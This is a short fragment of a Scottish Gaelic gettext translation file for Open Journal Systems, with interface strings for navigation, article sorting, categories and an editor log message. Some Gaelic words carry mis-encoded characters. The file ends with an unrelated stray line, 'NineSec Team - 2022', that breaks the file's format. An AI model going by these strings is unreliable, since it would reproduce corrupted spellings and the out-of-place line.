msgstr "Irisean ri thighinn"

msgid "navigation.subscriptions"
msgstr "Fo-sgrĂŹobhaidhean"

msgid "log.editor.submissionExpedited"
msgstr ""
"Ghabh {$editorName} am pròiseas deasachaidh airson an artaigil "
"{$submissionId} os lĂ imh."

msgid "catalog.sortBy"
msgstr "Òrdugh nan artaigeal"

msgid "catalog.sortBy.categoryDescription"
msgstr "Tagh òrdugh dha na h-artaigealan san roinn-seòrsa seo."

msgid "about.aboutSoftware"
msgstr "Mu Open Journal Systems"

msgid "user.authorization.representationNotFound"
msgstr "Cha b’ urrainn dhuinn a’ mhòr-dhuilleag a dh’iarr thu a lorg."

msgid "category.category"
msgstr "Roinnean-seòrsa"

NineSec Team - 2022